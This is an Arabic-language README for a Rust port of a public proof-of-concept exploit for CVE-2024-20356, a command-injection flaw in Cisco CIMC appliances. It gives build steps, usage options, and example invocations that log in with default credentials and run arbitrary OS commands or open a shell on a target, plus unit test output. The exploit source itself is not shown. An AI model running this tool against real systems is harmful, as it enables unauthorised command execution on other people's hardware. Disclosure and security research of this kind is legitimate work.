
نسخة معدلة من https://github.com/nettitude/CVE-2024-20356/blob/main/CVE-2024-20356.py
هذا هو إثبات المفهوم لـ CVE-2024-20356، وهي ثغرة حقن أوامر في CIMC من سيسكو.
تم كتابته بواسطة Aaron وتأكسيده بواسطة SherllyNeo
يمكن العثور على التفاصيل الفنية الكاملة على https://labs.nettitude.com/blog/cve-2024-20356-jailbreaking-a-cisco-appliance-to-run-doom
cargo build --release && cp ./target/release/CVE_2024_20356 ~/.local/bin/
Usage: CVE_2024_20356 [OPTIONS] --host <HOSTNAME>
Options:
-t, --host <HOSTNAME> Target hostname or IP address (format 10.0.0.1 or 10.0.0.2:1337)
-u, --username <USERNAME> Username [default: admin]
-p, --password <PASSWORD> Password [default: cisco]
-a, --action <ACTION> Action to perform [default: test] [possible values: test, cmd, shell, dance]
-c, --cmd <CMD> OS command to run [default: None]
-v, --verbose Displays more information about cimc
-h, --help Print help
-V, --version Print version
أمثلة الأوامر:
CVE_2024_20356 --host 192.168.x.x -u admin -p your_password -v
CVE_2024_20356 --host 192.168.x.x -u admin -p your_password -c 'id'
CVE_2024_20356 --host 192.168.x.x -u admin -p your_password -a shell
CVE_2024_20356 --host 192.168.x.x -u admin -p your_password -a dance
استخدم الوسيط --help للحصول على تعليمات الاستخدام الكاملة.
هذا الإثبات المبدئي هو لأغراض العرض التوضيحي ولا ينبغي استخدامه في أنشطة غير قانونية. LRQA Nettitude ليست مسؤولة عن أي ضرر ناتج عن استخدام أو سوء استخدام هذا الكود. لا تكن شريرًا
لقد كتبت هذا دون الوصول إلى الخادم بناءً على قاعدة الكود الأصلية.
بسبب ذلك قمت بكتابة اختبارات وحدة شاملة لضمان تطابق وظائف التشفير مع تلك الموجودة في الأصل. وأن طريقة تسجيل الدخول تعمل باستخدام خادم وهمي. وأن تحليل الوسيطات يعمل مع عناوين IP.
لتشغيل هذه الاختبارات، استخدم cargo --test
cargo test
Compiling CVE_2024_20356 v0.1.0
Finished `test` profile [unoptimized + debuginfo] target(s) in 2.27s
Running unittests src/main.rs (target/debug/deps/CVE_2024_20356-6d8ec478cd93405b)
running 8 tests
test libs::encryption::tests::pad_test ... ok
test libs::encryption::tests::key_fnv32_test ... ok
test libs::encryption::tests::aes_encrypt_test ... ok
test libs::encryption::tests::derive_key_and_iv_test ... ok
test libs::encryption::tests::hash_fnv32_test ... ok
test libs::encryption::tests::encrypt_test ... ok
test libs::actions::tests::login_test ... ok
test libs::arguments::validate_hostname_test ... ok
test result: ok. 8 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 0.02s
لقد وضعت هذا هنا لأنني تجنبت استخدام mod.rs ولإظهار كيف أن main هي غلاف رقيق حول lib.
هذا للسماح باختبارات التكامل في المستقبل.
src
├── lib.rs
├── libs
│ ├── actions.rs
│ ├── arguments.rs
│ └── encryption.rs
└── main.rs